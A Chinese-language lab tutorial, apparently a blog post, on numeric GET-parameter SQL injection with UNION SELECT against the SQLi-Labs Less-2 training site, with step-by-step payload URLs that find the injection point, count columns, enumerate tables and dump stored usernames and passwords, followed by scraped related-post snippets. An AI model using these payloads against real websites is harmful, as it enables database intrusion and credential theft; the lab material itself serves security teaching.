SOL注入——基于联合查询的数字型GET注入(二)
本章目的
普及数字型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:Sqlmap、burpsuite、浏览器的插件Hackbar、FoxyProxy等
(3)登录账号密码:操作系统帐号Administrator,密码666
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码666
实验原理
数字型GET注入,其注入点存在于URL中的GET参数处,如
http://www.testweb.com/user.phpzid=8,而服务器后端实际查询代码原型诸如:
“select...from...where...id=$id...”。
攻击者可以通过构造恶意的GET输入参数,利用union select命令进行注入,暴
露数据库中存储的信息。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-2为入口,利用联合查询(union
select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访间SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问机A-SQLi-Labs上的
SQLi-Labs网站Less-2。访间的URL为:
http://【靶机IP]/sqli-labs/Less-2/
(注意大小写)
说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面
按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入
过程中用Hackbar插件来调整payload参数!没有的点我参考 浏览器加载插件
在此设置payload并执行
登录后,根据网页提示,先给定一个GET参数,即
http://[靶机IP]/sqli-labs/Less-2/?id=1
此时页面显示id=1的用户名Dump、密码Dump
奇妙的自动翻译:。。。
2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型
http://[靶机IP]/sq1i-1abs/less-2/id=1'
运行后报错!
http://[靶机IP]/sq1i-1abs/less-2/?id=1 and 1=1
运行后正常显示!
http://[机IP]/sq1i-1abs/less-2/?id=1 and 1=2
运行后未正常显示!
由上述结果可以判断,网站存在数字型注入点。
3.判断网站查询的字段数
尝试使用以下payload获取网站查询的字段数(关键字order by)
http://[..机IP]/sqli-1abs/less-2/?id=1 order by 1 --+
http://[..机IP]/sqli-1abs/less-2/?id=1 order by 2 --+
http://[..机IP]/sqli-1abs/less-2/?id=1 order by 3 --+
正常显示!
http://[..机IP]/sqli-1abs/less-2/?id=1 order by 4 --+
报错!
由上述结果可以判断,网站查询的字段数为3。
4.判断网站的回显位置
利用以下payload判断网站的回显位置:
http://ip/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,3%20--+
执行的结果是:2号位和3号位可以回显!
后面的步骤中,我们可以在2号位或3号位设置一些具有特殊功能的函数或命令
来执行SQL注入!
5.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,database () --+
显示结果为security(安全)。
6.获取数据库security的全部表名
使用以下payload获取数据库securiy的全部表名:
http://.略./sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
7.获取users表的全部字段名
使用以下payload获取users表的全部字段名:
显示结果,users表中有id、username和password三个字段
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,group_concat(column_name)from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
8.获取users表id、username和password字段的全部值。
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我
们可以通过limitM.N的方式逐条显示,如
(1)显示第1组数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,concat_ws (',',id,username,password) from security.users limit 0,1--+
显示结果为Dump,Dump
(2)显示第2组数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password)from security.users limit 1,1--+
最后显示结果为Angelina,l-kill-you
(3)显示第3组数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 2,1 --+
显示结果为Dummy,p@ssword。
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
本章兄弟篇字符型注入
1-23关通关
SQL注入 - sql数据库操作基础
...
关注我即刻查看其他SQL注入
SOL注入——基于联合查询的数字型GET注入(二)相关推荐
- SQL注入——基于联合查询的字符型GET注入(三)
本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...
- SQL注入——基于联合查询的POST注入
实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...
- SQL注入--基于联合查询的POST注入
实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...
- 【SQL注入】联合查询(最简单的注入方法)
目录 一.介绍: 二.原理: 三.前提条件 四.利用过程 一.介绍: 是最简单的一种注入方法 联合查询注入 报错查询注入 布尔型注入 延时注入 堆叠查询注入 二.原理: 就是可合并多个查询的结 ...
- SOL注入——基干联合查询的POST注入(四)
本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...
- 【less-11】基于SQLI的POST字符型SQL注入
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 基于SQLI的POST字符型SQL注入 实验目的 实验环境 实验原理 实验步骤 第一步 判断是够存在POST型注入点 ...
- SQL注入原理及实践(一)--SQL注入之联合查询
SQL注入原理及实践(一)–SQL注入之联合查询 1)判断注入类型 一般采用[1and1=2]去判断,当输入[1and1=2]时, 如果报错,则为数字型注入, 如果显示正常,则为字符型注入 原理如下: ...
- SQL注入之联合查询注入
MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...
- SQL注入之联合查询(MySQL)
SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...
最新文章
- 我当了二十几年总经理,总结出这10条经验,看懂了你将少走些弯路
- qt中label画圆代表指示灯_【Qt编程】基于QWT的曲线绘制及图例显示操作——有样点的实现功能...
- java中String类是什么_Java中的String类
- 团队项目个人进展——Day08
- VisualStudio C++内存泄漏的检测方法(二)
- java五子棋判断_JAVA 五子棋 判断输赢的代码实现
- 又掐起来了!余承东称小米环幕屏手机无实用价值,卢伟冰回怼...
- ~~一般哈希(数据结构)(附模板题AcWing 840 模拟散列表)
- 算法:Invert Binary Tree(翻转二叉树)
- Spring IoC、应用上下文容器层次分析
- 2020年20种最佳Android应用程序模板
- COMSOL模拟气流可视化
- C语言练习题——if语句
- 浙江海洋大学计算机 周斌,浙江海洋大学2018年硕士研究生调剂拟录取名单公示(一)...
- Synergy Mac和Win键盘映射
- 二十四节气-谷雨文案、海报分享,谷雨润万物,不觉夏已至。
- QBitArray 和 QByteArray 互相转换
- 无法写入最后一个_影驰擎 GA-E 16TB SSD评测:3.96TB持续稳定写入,你想要的大容量来了...
- 高新技术企业认定之材料错误篇!
- html选择文件用按钮,html点击button弹出挑选文件,上传,这个怎么实现?
热门文章
- python调用rust_在 Rust 代码中编写 Python 是种怎样的体验?
- 都是做嵌入式凭什么高薪offer归别人
- verilog驱动ADC0809包括仿真测试
- python parser count_8 个 Python 实用脚本,早掌握早下班!
- android系统应用功能,Android系统应用(12)
- springmvc的执行流程_springmvc执行流程
- 20220129---CTF刷题---WEB--代码审计
- java中负数取整_Java取整,固定保留两位小数,适配负数、金融数字。
- python------面向对象介绍
- 第 7 章 异常处理结构、代码测试与调试